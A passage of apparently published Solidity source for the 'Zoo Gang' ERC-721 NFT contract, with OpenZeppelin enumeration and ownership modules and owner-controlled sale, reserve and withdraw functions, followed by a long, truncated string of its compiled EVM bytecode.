representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ZooGang is ERC721Enumerable, Ownable { using SafeMath for uint256; uint256 public constant PRICE = 0.05 ether; uint256 public constant MAX_TOKENS = 10000; uint256 public constant MAX_PURCHASE = 20; bool public saleIsActive = false; constructor() ERC721("Zoo Gang", "ZGANG") {} function withdraw() public onlyOwner { address payable sender = payable(_msgSender()); uint balance = address(this).balance; sender.transfer(balance); } function toggleSale() public onlyOwner { saleIsActive = !saleIsActive; } /** * Set some Zoo Gang aside */ function reserve() public onlyOwner { require(saleIsActive == false, "Impossible reserve a Zoo Gang when sale is active"); uint supply = totalSupply(); for (uint i = 0; i < 20; i++) { _safeMint(_msgSender(), supply + i); } } /** * Mint Zoo Gang */ function mint(uint256 numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Zoo Gang"); require(numberOfTokens <= MAX_PURCHASE, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_TOKENS, "Purchase would exceed max supply of Zoo Gangs"); require(PRICE.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_TOKENS) { _safeMint(_msgSender(), mintIndex); } } } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } }
0x6080604052600436106101b75760003560e01c8063715018a6116100ec578063b88d4fde1161008a578063e985e9c511610064578063e985e9c5146105d7578063eb8d244414610614578063f2fde38b1461063f578063f47c84c514610668576101b7565b8063b88d4fde1461055a578063c87b56dd14610583578063cd3293de146105c0576101b7565b80638da5cb5b116100c65780638da5cb5b146104bf57806395d89b41146104ea578063a0712d6814610515578063a22cb46514610531576101b7565b8063715018a6146104665780637d8966e41461047d5780638d859f3e14610494576101b7565b80633ccfd60b1161015957806355f804b31161013357806355f804b3146103985780636352211e146103c157806370a08231146103fe5780637146bd081461043b576101b7565b80633ccfd60b1461031b57806342842e0e146103325780634f6ccce71461035b576101b7565b8063095ea7b311610195578063095ea7b31461026157806318160ddd1461028a57806323b872dd146102b55780632f745c59146102de576101b7565b806301ffc9a7146101bc57806306fdde03146101f9578063081812fc14610224575b600080fd5b3480156101c857600080fd5b506101e360048036038101906101de91906128be565b610693565b6040516101f09190612906565b60405180910390f35b34801561020557600080fd5b5061020e61070d565b60405161021b91906129ba565b60405180910390f35b34801561023057600080fd5b5061024b60048036038101906102469190612a12565b61079f565b6040516102589190612a80565b60405180910390f35b34801561026d57600080fd5b5061028860048036038101906102839190612ac7565b610824565b005b34801561029657600080fd5b5061029f61093c565b6040516102ac9190612b16565b60405180910390f35b3480156102c157600080fd5b506102dc60048036038101906102d79190612b31565b610949565b005b3480156102ea57600080fd5b5061030560048036038101906103009190612ac7565b6109a9565b6040516103129190612b16565b60405180910390f35b34801561032757600080fd5b50610330610a4e565b005b34801561033e57600080fd5b5061035960048036038101906103549190612b31565b610b26565b005b34801561036757600080fd5b50610382600480360381019061037d9190612a12565b610b46565b60405161038f9190612b16565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190612cb9565b610bb7565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612a12565b610c3f565b6040516103f59190612a80565b60405180910390f35b34801561040a57600080fd5b5061042560048036038101906104209190612d02565b610cf1565b6040516104329190612b16565b60405180910390f35b34801561044757600080fd5b50610450610da9565b60405161045d9190612b16565b60405180910390f35b34801561047257600080fd5b5061047b610dae565b005b34801561048957600080fd5b50610492610e36565b005b3480156104a057600080fd5b506104a9610ede565b6040516104b69190612b16565b60405180910390f35b3480156104cb57600080fd5b506104d4610ee9565b6040516104e19190612a80565b60405180910390f35b3480156104f657600080fd5b506104ff610f13565b60405161050c91906129ba565b60405180910390f35b61052f600480360381019061052a9190612a12565b610fa5565b005b34801561053d57600080fd5b5061055860048036038101906105539190612d5b565b611144565b005b34801561056657600080fd5b50610581600480360381019061057c9190612e3c565b6112c5565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612a12565b611327565b6040516105b791906129ba565b60405180910390f35b3480156105cc57600080fd5b506105d56113cf565b005b3480156105e357600080fd5b506105fe60048036038101906105f99190612ebf565b6114ec565b60405161060b9190612906565b60405180910390f35b34801561062057600080fd5b50610629611580565b6040516106369190612906565b60405180910390f35b34801561064b57600080fd5b5061066660048036038101906106619190612d02565b611593565b005b34801561067457600080fd5b5061067d61168b565b60405161068a9190612b16565b60405180910390f35b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610706575061070582611691565b5b9050919050565b60606000805461071c90612f2e565b80601f016020809104026020016040519081016040528092919081815260200182805461074890612f2e565b80156107955780601f1061076a57610100808354040283529160200191610795565b820191906000526020600020905b81548152906001019060200180831161077857829003601f168201915b5050505050905090565b60006107aa82611773565b6107e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e090612fd2565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061082f82610c3f565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790613064565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108bf6117df565b73ffffffffffffffffffffffffffffffffffffffff1614806108ee57506108ed816108e86117df565b6114ec565b5b61092d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610924906130f6565b60405180910390fd5b61093783836117e7565b505050565b6000600980549050905090565b61095a6109546117df565b826118a0565b610999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099090613188565b60405180910390fd5b6109a483838361197e565b505050565b60006109b483610cf1565b82106109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec9061321a565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610a566117df565b73ffffffffffffffffffffffffffffffffffffffff16610a74610ee9565b73ffffffffffffffffffffffffffffffffffffffff1614610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac190613286565b60405180910390fd5b6000610ad46117df565b905060004790508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b21573d6000803e3d6000fd5b505050565b610b41838383604051806020016040528060008152506112c5565b505050565b6000610b5061093c565b8210610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8890613318565b60405180910390fd5b60098281548110610ba557610ba4613338565b5b90600052602060002001549050919050565b610bbf6117df565b73ffffffffffffffffffffffffffffffffffffffff16610bdd610ee9565b73ffffffffffffffffffffffffffffffffffffffff1614610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90613286565b60405180910390fd5b610c3c81611bda565b50565b6000806003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdf906133d9565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d599061346b565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601481565b610db66117df565b73ffffffffffffffffffffffffffffffffffffffff16610dd4610ee9565b73ffffffffffffffffffffffffffffffffffffffff1614610e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2190613286565b60405180910390fd5b610e346000611bf4565b565b610e3e6117df565b73ffffffffffffffffffffffffffffffffffffffff16610e5c610ee9565b73ffffffffffffffffffffffffffffffffffffffff1614610eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea990613286565b60405180910390fd5b600b60149054906101000a900460ff1615600b60146101000a81548160ff021916908315150217905550565b66b1a2bc2ec5000081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610f2290612f2e565b80601f0160208091040260200160405190810160405280929190818152602001828054610f4e90612f2e565b8015610f9b5780601f10610f7057610100808354040283529160200191610f9b565b820191906000526020600020905b815481529060010190602001808311610f7e57829003601f168201915b5050505050905090565b600b60149054906101000a900460ff16610ff4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610feb906134fd565b60405180910390fd5b6014811115611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f9061358f565b60405180910390fd5b6127106110558261104761093c565b611cba90919063ffffffff16565b1115611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d90613621565b60405180910390fd5b346110b18266b1a2bc2ec50000611cd090919063ffffffff16565b11156110f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e99061368d565b60405180910390fd5b60005b8181101561114057600061110761093c565b905061271061111461093c565b101561112c5761112b6111256117df565b82611ce6565b5b508080611138906136dc565b9150506110f5565b5050565b61114c6117df565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b190613771565b60405180910390fd5b80600660006111c76117df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166112746117df565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516112b99190612906565b60405180910390a35050565b6112d66112d06117df565b836118a0565b611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90613188565b60405180910390fd5b61132184848484611d04565b50505050565b606061133282611773565b611371576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136890613803565b60405180910390fd5b600061137b611d60565b9050600081511161139b57604051806020016040528060008152506113c7565b60026113a684611df2565b6040516020016113b79291906138f3565b6040516020818303038152906040525b915050919050565b6113d76117df565b73ffffffffffffffffffffffffffffffffffffffff166113f5610ee9565b73ffffffffffffffffffffffffffffffffffffffff161461144b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144290613286565b60405180910390fd5b60001515600b60149054906101000a900460ff161515146114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890613989565b60405180910390fd5b60006114ab61093c565b905060005b60148110156114e8576114d56114c46117df565b82846114d091906139a9565b611ce6565b80806114e0906136dc565b9150506114b0565b5050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600b60149054906101000a900460ff1681565b61159b6117df565b73ffffffffffffffffffffffffffffffffffffffff166115b9610ee9565b73ffffffffffffffffffffffffffffffffffffffff161461160f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160690613286565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561167f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167690613a71565b60405180910390fd5b61168881611bf4565b50565b61271081565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061175c57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061176c575061176b82611f53565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661185a83610c3f565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006118ab82611773565b6118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190613b03565b60405180910390fd5b60006118f583610c3f565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061196457508373ffffffffffffffffffffffffffffffffffffffff1661194c8461079f565b73ffffffffffffffffffffffffffffffffffffffff16145b80611975575061197481856114ec565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661199e82610c3f565b73ffffffffffffffffffffffffffffffffffffffff16146119f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119eb90613b95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5b90613c27565b60405180910390fd5b611a6f838383611fbd565b611a7a6000826117e7565b6001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611aca9190613c47565b925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b2191906139a9565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b8060029080519060200190611bf09291906127af565b5050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611cc891906139a9565b905092915050565b60008183611cde9190613c7b565b905092915050565b611d008282604051806020016040528060008152506120d1565b5050565b611d0f84848461197e565b611d1b8484848461212c565b611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5190613d47565b60405180910390fd5b50505050565b606060028054611d6f90612f2e565b80601f0160208091040260200160405190810160405280929190818152602001828054611d9b90612f2e565b8015611de85780601f10611dbd57610100808354040283529160200191611de8565b820191906000526020600020905b815481529060010190602001808311611dcb57829003601f168201915b5050505050905090565b60606000821415611e3a576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611f4e565b600082905060005b60008214611e6c578080611e55906136dc565b915050600a82611e659190613d96565b9150611e42565b60008167ffffffffffffffff811115611e8857611e87612b8e565b5b6040519080825280601f01601f191660200182016040528015611eba5781602001600182028036833780820191505090505b5090505b60008514611f4757600182611ed39190613c47565b9150600a85611ee29190613dc7565b6030611eee91906139a9565b60f81b818381518110611f0457611f03613338565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611f409190613d96565b9450611ebe565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b611fc88383836122c3565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561200b57612006816122c8565b61204a565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612049576120488382612311565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561208d576120888161247e565b6120cc565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146120cb576120ca828261254f565b5b5b505050565b6120db83836125ce565b6120e8600084848461212c565b612127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211e90613d47565b60405180910390fd5b505050565b600061214d8473ffffffffffffffffffffffffffffffffffffffff1661279c565b156122b6578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026121766117df565b8786866040518563ffffffff1660e01b81526004016121989493929190613e4d565b602060405180830381600087803b1580156121b257600080fd5b505af19250505080156121e357506040513d601f19601f820116820180604052508101906121e09190613eae565b60015b612266573d8060008114612213576040519150601f19603f3d011682016040523d82523d6000602084013e612218565b606091505b5060008151141561225e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225590613d47565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506122bb565b600190505b949350505050565b505050565b600980549050600a600083815260200190815260200160002081905550600981908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161231e84610cf1565b6123289190613c47565b905060006008600084815260200190815260200160002054905081811461240d576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816008600083815260200190815260200160002081905550505b6008600084815260200190815260200160002060009055600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016009805490506124929190613c47565b90506000600a60008481526020019081526020016000205490506000600983815481106124c2576124c1613338565b5b9060005260206000200154905080600983815481106124e4576124e3613338565b5b906000526020600020018190555081600a600083815260200190815260200160002081905550600a600085815260200190815260200160002060009055600980548061253357612532613edb565b5b6001900381819060005260206000200160009055905550505050565b600061255a83610cf1565b905081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806008600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561263e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263590613f56565b60405180910390fd5b61264781611773565b15612687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267e90613fc2565b60405180910390fd5b61269360008383611fbd565b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126e391906139a9565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b8280546127bb90612f2e565b90600052602060002090601f0160209004810192826127dd5760008555612824565b82601f106127f657805160ff1916838001178555612824565b82800160010185558215612824579182015b82811115612823578251825591602001919060010190612808565b5b5090506128319190612835565b5090565b5b8082111561284e576000816000905550600101612836565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61289b81612866565b81146128a657600080fd5b50565b6000813590506128b881612892565b92915050565b6000602082840312156128d4576128d361285c565b5b60006128e2848285016128a9565b91505092915050565b60008115159050919050565b612900816128eb565b82525050565b600060208201905061291b60008301846128f7565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561295b578082015181840152602081019050612940565b8381111561296a576000848401525b50505050565b6000601f19601f8301169050919050565b600061298c82612921565b612996818561292c565b93506129a681856020860161293d565b6129af81612970565b840191505092915050565b600060208201905081810360008301526129d48184612981565b905092915050565b6000819050919050565b6129ef816129dc565b81146129fa57600080fd5b50565b600081359050612a0c816129e6565b92915050565b600060208284031215612a2857612a2761285c565b5b6000612a36848285016129fd565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a6a82612a3f565b9050919050565b612a7a81612a5f565b82525050565b6000602082019050612a956000830184612a71565b92915050565b612aa481612a5f565b8114612aaf57600080fd5b50565b600081359050612ac181612a9b565b92915050565b60008060408385031215612ade57612add61285c565b5b6000612aec85828601612ab2565b9250506020612afd858286016129fd565b9150509250929050565b612b10816129dc565b82525050565b6000602082019050612b2b6000830184612b07565b92915050565b600080600060608486031215612b4a57612b4961285c565b5b6000612b5886828701612ab2565b9350506020612b6986828701612ab2565b9250506040612b7a868287016129fd565b9150509250925092565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bc682612970565b810181811067ffffffffffffffff82111715612be557612be4612b8e565b5b80604052505050565b6000612bf8612852565b9050612c048282612bbd565b919050565b600067ffffffffffffffff821115612c2457612c23612b8e565b5b612c2d82612970565b9050602081019050919050565b82818337600083830152505050565b6000612c5c612c5784612c09565b612bee565b905082815260208101848484011115612c7857612c77612b89565b5b612c83848285612c3a565b509392505050565b600082601f830112612ca057612c9f612b84565b5b8135612cb0848260208601612c49565b91505092915050565b600060208284031215612ccf57612cce61285c565b5b600082013567ffffffffffffffff811115612ced57612cec612861565b5b612cf984828501612c8b565b91505092915050565b600060208284031215612d1857612d1761285c565b5b6000612d2684828501612ab2565b91505092915050565b612d38816128eb565b8114612d4357600080fd5b50565b600081359050612d5581612d2f565b92915050565b60008060408385031215612d7257612d7161285c565b5b6000612d8085828601612ab2565b9250506020612d9185828601612d46565b9150509250929050565b600067ffffffffffffffff821115612db657612db5612b8e565b5b612dbf82612970565b9050602081019050919050565b6000612ddf612dda84612d9b565b612bee565b905082815260208101848484011115612dfb57612dfa612b89565b5b612e06848285612c3a565b509392505050565b600082601f830112612e2357612e22612b84565b5b8135612e33848260208601612dcc565b91505092915050565b60008060008060808587031215612e5657612e5561285c565b5b6000612e6487828801612ab2565b9450506020612e7587828801612ab2565b9350506040612e86878288016129fd565b925050606085013567ffffffffffffffff811115612ea757612ea6612861565b5b612eb387828801612e0e565b91505092959194509250565b60008060408385031215612ed657612ed561285c565b5b6000612ee485828601612ab2565b9250506020612ef585828601612ab2565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f4657607f821691505b60208210811415612f5a57612f59612eff565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000612fbc602c8361292c565b9150612fc782612f60565b604082019050919050565b60006020820190508181036000830152612feb81612faf565b9050919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061304e60218361292c565b915061305982612ff2565b604082019050919050565b6000602082019050818103600083015261307d81613041565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b60006130e060388361292c565b91506130eb82613084565b604082019050919050565b6000602082019050818103600083015261310f816130d3565b9050919050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b600061317260318361292c565b915061317d82613116565b604082019050919050565b600060208201905081810360008301526131a181613165565b9050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b6000613204602b8361292c565b915061320f826131a8565b604082019050919050565b60006020820190508181036000830152613233816131f7565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061327060208361292c565b915061327b8261323a565b602082019050919050565b6000602082019050818103600083015261329f81613263565b9050919050565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b6000613302602c8361292c565b915061330d826132a6565b604082019050919050565b60006020820190508181036000830152613331816132f5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b60006133c360298361292c565b91506133ce82613367565b604082019050919050565b600060208201905081810360008301526133f2816133b6565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b6000613455602a8361292c565b9150613460826133f9565b604082019050919050565b6000602082019050818103600083015261348481613448565b9050919050565b7f53616c65206d7573742062652061637469766520746f206d696e74205a6f6f2060008201527f47616e6700000000000000000000000000000000000000000000000000000000602082015250565b60006134e760248361292c565b91506134f28261348b565b604082019050919050565b60006020820190508181036000830152613516816134da565b9050919050565b7f43616e206f6e6c79206d696e7420323020746f6b656e7320617420612074696d60008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b600061357960218361292c565b91506135848261351d565b604082019050919050565b600060208201905081810360008301526135a88161356c565b9050919050565b7f507572636861736520776f756c6420657863656564206d617820737570706c7960008201527f206f66205a6f6f2047616e677300000000000000000000000000000000000000602082015250565b600061360b602d8361292c565b9150613616826135af565b604082019050919050565b6000602082019050818103600083015261363a816135fe565b9050919050565b7f45746865722076616c75652073656e74206973206e6f7420636f727265637400600082015250565b6000613677601f8361292c565b915061368282613641565b602082019050919050565b600060208201905081810360008301526136a68161366a565b9050919050565b7f4e487b71000000000000000000000000000000000000000